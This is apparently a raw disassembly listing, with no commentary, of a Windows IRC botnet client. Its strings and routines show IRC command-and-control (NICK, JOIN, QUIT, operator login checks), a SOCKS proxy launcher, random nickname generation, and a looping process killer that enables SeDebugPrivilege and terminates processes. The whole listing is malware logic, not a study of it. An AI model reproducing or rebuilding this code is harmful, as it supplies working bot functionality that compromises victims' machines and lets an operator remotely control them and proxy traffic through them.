		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__33 ; ".e.(1.0b) ( enz.m.d.l	) ..	Status:	R"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_411E86:				; CODE XREF: sub_40CC09+128Bj
					; sub_40CC09+12A0j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411EB8
		cmp	[ebp+var_C], ebx
		jz	short loc_411EC7
		push	esi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411EC7
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 0Ch
		jmp	short loc_411EC7
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40CC09+5286j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		pop	ecx
		pop	ecx


loc_411EC7:				; CODE XREF: sub_40CC09+528Bj
					; sub_40CC09+529Aj ...
		push	0FFFFFFFEh
		jmp	loc_40CFCF
; ---------------------------------------------------------------------------


loc_411ECE:				; CODE XREF: sub_40CC09+1261j
					; sub_40CC09+1276j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__34 ; ".e.(1.0b) ( enz.m.d.l	) ..	Disconnec"...
		call	sub_409833
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_411EF0:				; CODE XREF: sub_40CC09+1237j
					; sub_40CC09+124Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset a_e_1_0bEnz__35 ; ".e.(1.0b) ( enz.m.d.l	) ..	Reconnect"...
		call	sub_409833
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_411F11:				; CODE XREF: sub_40CC09+120Dj
					; sub_40CC09+1222j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405F18
		jmp	loc_410875
; ---------------------------------------------------------------------------


loc_411F27:				; CODE XREF: sub_40CC09+1168j
					; sub_40CC09+117Dj
		push	[ebp+esi+var_90]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset a_p_ro_c___ ; ".p.ro.c..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_411F3F:				; CODE XREF: sub_40CC09+F93j
					; sub_40CC09+FA8j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411F5E
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jz	short loc_411F5E
		push	edi
		call	sub_413D7F
		pop	ecx
		jmp	short loc_411F63
; ---------------------------------------------------------------------------


loc_411F5E:				; CODE XREF: sub_40CC09+533Fj
					; sub_40CC09+534Aj
		mov	eax, dword_42A31C


loc_411F63:				; CODE XREF: sub_40CC09+5353j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_364], eax
		cmp	esi, ebx
		jz	short loc_411F88
		push	esi


loc_411F75:				; CODE XREF: sub_40CC09+538Ej
		lea	eax, [ebp+var_374]
		push	10h
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_411F9F
; ---------------------------------------------------------------------------


loc_411F88:				; CODE XREF: sub_40CC09+5369j
		cmp	[ebp+var_8B3], bl
		jz	short loc_411F99
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_411F75
; ---------------------------------------------------------------------------


loc_411F99:				; CODE XREF: sub_40CC09+5385j
		mov	[ebp+var_374], bl


loc_411F9F:				; CODE XREF: sub_40CC09+537Dj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_358], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_354], eax
		lea	eax, [ebp+var_3F4]
		push	eax
		mov	[ebp+var_3F8], esi
		call	sub_413D8A
		add	esp, 0Ch
		push	[ebp+var_364]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSocks_m ; ".e.(1.0b) ( socks.m.d.l ) ..  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	11h
		push	eax
		call	sub_4132BE
		add	esp, 1Ch
		mov	[ebp+var_360], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_406DED
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_360]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_412050


loc_41203A:				; CODE XREF: sub_40CC09+5445j
		cmp	[ebp+var_350], ebx
		jnz	loc_40CFCD
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_41203A
; ---------------------------------------------------------------------------


loc_412050:				; CODE XREF: sub_40CC09+542Fj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bSocks_0 ; ".e.(1.0b) ( socks.m.d.l ) ..  Failed "...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_412061:				; CODE XREF: sub_40CC09+F69j
					; sub_40CC09+F7Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4120BB
		push	esi
		call	sub_413D7F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4120B3
		cmp	eax, 2
		jge	short loc_4120B3
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4120AB
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) ..	User %s	l"...
		push	eax
		call	sub_413812
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_4120AB:				; CODE XREF: sub_40CC09+5481j
		push	eax
		push	offset a_e_1_0bEnz__36 ; ".e.(1.0b) ( enz.m.d.l	) ..	No user	l"...
		jmp	short loc_4120F8
; ---------------------------------------------------------------------------


loc_4120B3:				; CODE XREF: sub_40CC09+546Cj
					; sub_40CC09+5471j
		push	eax
		push	offset a_e_1_0bEnz__37 ; ".e.(1.0b) ( enz.m.d.l	) ..	Invalid	l"...
		jmp	short loc_4120F8
; ---------------------------------------------------------------------------


loc_4120BB:				; CODE XREF: sub_40CC09+5461j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4120C0:				; CODE XREF: sub_40CC09+54D3j
		push	[ebp+var_94]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4120E3
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4120C0
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_4120E3:				; CODE XREF: sub_40CC09+54C7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) ..	User %s	l"...


loc_4120F8:				; CODE XREF: sub_40CC09+1BA9j
					; sub_40CC09+1BD7j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_41210C:				; CODE XREF: sub_40CC09+F3Fj
					; sub_40CC09+F54j
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41217B
		call	sub_413487
		push	ebx
		call	ds:off_41F104


loc_41212E:				; CODE XREF: sub_40CC09+F15j
					; sub_40CC09+F2Aj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_8A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_464]
		push	dword_42A33C
		push	eax
		call	sub_412AB7
		lea	eax, [ebp+var_464]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_464]
		push	eax
		push	offset a_e_1_0bEnz__38 ; ".e.(1.0b) ( enz.m.d.l	) ..	Random ni"...
		call	sub_4098A7


loc_412178:				; CODE XREF: sub_40CC09+2791j
		add	esp, 24h


loc_41217B:				; CODE XREF: sub_40CC09+65Cj
					; sub_40CC09+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_412183:				; CODE XREF: sub_40CC09+B15j
					; sub_40CC09+B2Aj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40CFCD
		cmp	[ebp+var_98], ebx
		jnz	loc_40CFCD
		push	offset asc_42D588 ; "!"
		push	[ebp+var_94]
		call	sub_4150A0
		mov	esi, eax
		push	offset dword_438A0C
		push	ebx
		inc	esi
		call	sub_4150A0
		push	offset asc_4316C8 ; "~"
		push	eax
		call	sub_4150A0
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi_0	; "hi"
		call	sub_413C30
		add	esp, 20h
		test	eax, eax
		jz	short loc_41222B
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	esi
		push	offset a_e_1_0bEnz__39 ; ".e.(1.0b) ( enz.m.d.l	) ..	*Failed	p"...


loc_412217:				; CODE XREF: sub_40CC09+567Ej
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 30h
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_41222B:				; CODE XREF: sub_40CC09+55D5j
		mov	[ebp+arg_24], offset off_42A3F0


loc_412232:				; CODE XREF: sub_40CC09+5645j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412289
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42A3F4
		jl	short loc_412232
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	esi
		push	offset a_e_1_0bEnz__40 ; ".e.(1.0b) ( enz.m.d.l	) ..	*Failed	h"...
		jmp	short loc_412217
; ---------------------------------------------------------------------------


loc_412289:				; CODE XREF: sub_40CC09+5638j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_41228E:				; CODE XREF: sub_40CC09+56AFj
		cmp	[ebp+arg_0], ebx
		jz	loc_40CFCD
		cmp	[edi], bl
		jnz	short loc_4122AE
		push	[ebp+arg_0]
		push	offset aHi_0	; "hi"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4122BF


loc_4122AE:				; CODE XREF: sub_40CC09+5690j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_41228E
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_4122BF:				; CODE XREF: sub_40CC09+56A3j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_994]
		push	7Fh
		push	eax
		push	esi
		call	sub_415140
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4122F6
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bEnz__41 ; ".e.(1.0b) ( enz.m.d.l	) ..	Password "...
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4122F6:				; CODE XREF: sub_40CC09+56D1j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bEnz__42 ; ".e.(1.0b) ( enz.m.d.l	) ..	User: %s "...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_412307:				; CODE XREF: sub_40CC09+20Ej
					; sub_40CC09+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	offset aXI	; "+x+i"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 2Ch
		mov	dword_7420F0, edi
		jmp	loc_40CEA6
sub_40CC09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41234D	proc near		; CODE XREF: sub_4086DF+7p
					; sub_4123B8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:off_41F0F0
		push	eax
		call	dword_44CCC0	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41236C
		leave
		retn
; ---------------------------------------------------------------------------


loc_41236C:				; CODE XREF: sub_41234D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_44CC9C	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4123AA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_412393
		or	[ebp+var_8], 2
		jmp	short loc_412397
; ---------------------------------------------------------------------------


loc_412393:				; CODE XREF: sub_41234D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_412397:				; CODE XREF: sub_41234D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_44CD44	; AdjustTokenPrivileges
		mov	esi, eax


loc_4123AA:				; CODE XREF: sub_41234D+32j
		push	[ebp+var_4]
		call	ds:dword_41F058	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41234D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123B8	proc near		; CODE XREF: sub_40CC09+4321p
					; sub_4125E7+74p ...

var_454		= dword	ptr -454h
var_450		= byte ptr -450h
var_334		= byte ptr -334h
var_230		= byte ptr -230h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_44CCFC, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_450]
		mov	[ebp+var_454], ebx
		rep stosd
		jz	loc_4125B7
		cmp	dword_44CCE0, ebx
		jz	loc_4125B7
		cmp	dword_44CC0C, ebx
		jz	loc_4125B7
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_44CCFC	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4125AA
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_44CCE0	; Process32First
		mov	esi, ds:dword_41F058
		test	eax, eax
		jz	loc_4125A5
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_44CC0C	; Process32Next
		test	eax, eax
		jz	loc_4125A5
		mov	edi, ds:dword_41F11C
		mov	ebx, 1F0FFFh


loc_41247C:				; CODE XREF: sub_4123B8+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4124E3
		mov	[ebp+var_4], offset off_434618


loc_41248A:				; CODE XREF: sub_4123B8+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	ds:off_41F13C
		test	eax, eax
		jz	short loc_4124B2
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
		jl	short loc_41248A
		jmp	loc_41258B
; ---------------------------------------------------------------------------


loc_4124B2:				; CODE XREF: sub_4123B8+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41258B
		push	0
		push	eax
		call	ds:off_41F138
		test	eax, eax
		jnz	loc_41258B


loc_4124D9:				; CODE XREF: sub_4123B8+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41258B
; ---------------------------------------------------------------------------


loc_4124E3:				; CODE XREF: sub_4123B8+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_412576
		cmp	[ebp+arg_4], eax
		jz	loc_41258B
		push	[ebp+var_128]
		push	8
		call	dword_44CCFC	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_454], 224h
		jz	short loc_412536
		lea	ecx, [ebp+var_454]
		push	ecx
		push	eax
		call	dword_44CBBC	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41253C
		lea	eax, [ebp+var_334]
		jmp	short loc_412542
; ---------------------------------------------------------------------------


loc_412536:				; CODE XREF: sub_4123B8+15Cj
		push	[ebp+var_128]


loc_41253C:				; CODE XREF: sub_4123B8+174j
		lea	eax, [ebp+var_10C]


loc_412542:				; CODE XREF: sub_4123B8+17Cj
		push	eax
		lea	eax, [ebp+var_230]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_230]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_4124D9
; ---------------------------------------------------------------------------


loc_412576:				; CODE XREF: sub_4123B8+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125BE


loc_41258B:				; CODE XREF: sub_4123B8+F5j
					; sub_4123B8+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_44CC0C	; Process32Next
		test	eax, eax
		jnz	loc_41247C
		xor	ebx, ebx


loc_4125A5:				; CODE XREF: sub_4123B8+9Dj
					; sub_4123B8+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4125AA:				; CODE XREF: sub_4123B8+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41234D
		pop	ecx
		pop	ecx


loc_4125B7:				; CODE XREF: sub_4123B8+3Aj
					; sub_4123B8+46j ...
		xor	eax, eax


loc_4125B9:				; CODE XREF: sub_4123B8+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4125BE:				; CODE XREF: sub_4123B8+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:off_41F138
		test	eax, eax
		jnz	short loc_4125E2
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4125B7
; ---------------------------------------------------------------------------


loc_4125E2:				; CODE XREF: sub_4123B8+223j
		push	1
		pop	eax
		jmp	short loc_4125B9
sub_4123B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125E7	proc near		; DATA XREF: sub_40CC09+4EF1o

var_198		= byte ptr -198h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_437164
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_413812
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_412646
		push	esi
		lea	eax, [ebp+var_198]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40B2B5
		add	esp, 14h


loc_412646:				; CODE XREF: sub_4125E7+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4123B8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41266E
		push	offset unk_437128
		jmp	short loc_412673
; ---------------------------------------------------------------------------


loc_41266E:				; CODE XREF: sub_4125E7+7Ej
		push	offset unk_4370F0


loc_412673:				; CODE XREF: sub_4125E7+85j
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_413812
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4126A6
		push	esi
		lea	eax, [ebp+var_198]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_40B2B5
		add	esp, 14h


loc_4126A6:				; CODE XREF: sub_4125E7+9Dj
		lea	eax, [ebp+var_198]
		push	eax
		call	sub_409833
		push	[ebp+var_14]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_4125E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4126C5	proc near		; CODE XREF: sub_40CC09+42C3p
					; sub_4133F9+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_41F11C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4126F7
		push	0
		push	esi
		call	ds:off_41F138
		test	eax, eax
		jnz	short loc_4126F7
		push	esi
		xor	edi, edi
		call	ds:dword_41F058	; CloseHandle


loc_4126F7:				; CODE XREF: sub_4126C5+1Aj
					; sub_4126C5+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4126C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4126FC	proc near		; DATA XREF: sub_40C2D0+3D7o
		push	esi
		xor	esi, esi


loc_4126FF:				; CODE XREF: sub_4126FC+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4123B8
		add	esp, 18h
		push	dword_434614
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4126FF
sub_4126FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41271C	proc near		; CODE XREF: sub_4041D7+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41386E
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_41F660
		call	sub_4140D0
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41271C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41274C	proc near		; CODE XREF: sub_412AB7+49p
					; DATA XREF: .data:off_4371A8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aCc ; "Cc-"
		push	offset aS_2	; "%s"
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_4127A5


loc_41277F:				; CODE XREF: sub_41274C+57j
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_41277F


loc_4127A5:				; CODE XREF: sub_41274C+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41274C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4127AA	proc near		; CODE XREF: sub_40CC09+393Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_41386E
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42A338
		test	esi, esi
		jle	short loc_4127ED


loc_4127D7:				; CODE XREF: sub_4127AA+41j
		call	sub_41386E
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_4127D7


loc_4127ED:				; CODE XREF: sub_4127AA+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4127AA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_437204
		push	eax
		push	esi
		call	ds:off_41F114
		movsx	eax, byte_437204
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_412833:				; CODE XREF: .text:0041283Ej
		cmp	eax, ecx
		jnz	short loc_41283A
		mov	[ebp-4], edx


loc_41283A:				; CODE XREF: .text:00412835j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_412833
		push	61h
		pop	ecx


loc_412843:				; CODE XREF: .text:0041284Ej
		cmp	eax, ecx
		jnz	short loc_41284A
		mov	[ebp-4], edx


loc_41284A:				; CODE XREF: .text:00412845j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_412843
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42A338, esi
		jle	short loc_41288F


loc_412869:				; CODE XREF: .text:0041288Dj
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_412869


loc_41288F:				; CODE XREF: .text:00412867j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:off_41F140
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437208
		push	1Ch
		push	edi
		call	sub_413D8A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42A338, esi
		jle	short loc_412904


loc_4128DE:				; CODE XREF: .text:00412902j
		call	sub_41386E
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_413D8A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42A338
		jl	short loc_4128DE


loc_412904:				; CODE XREF: .text:004128DCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438A10
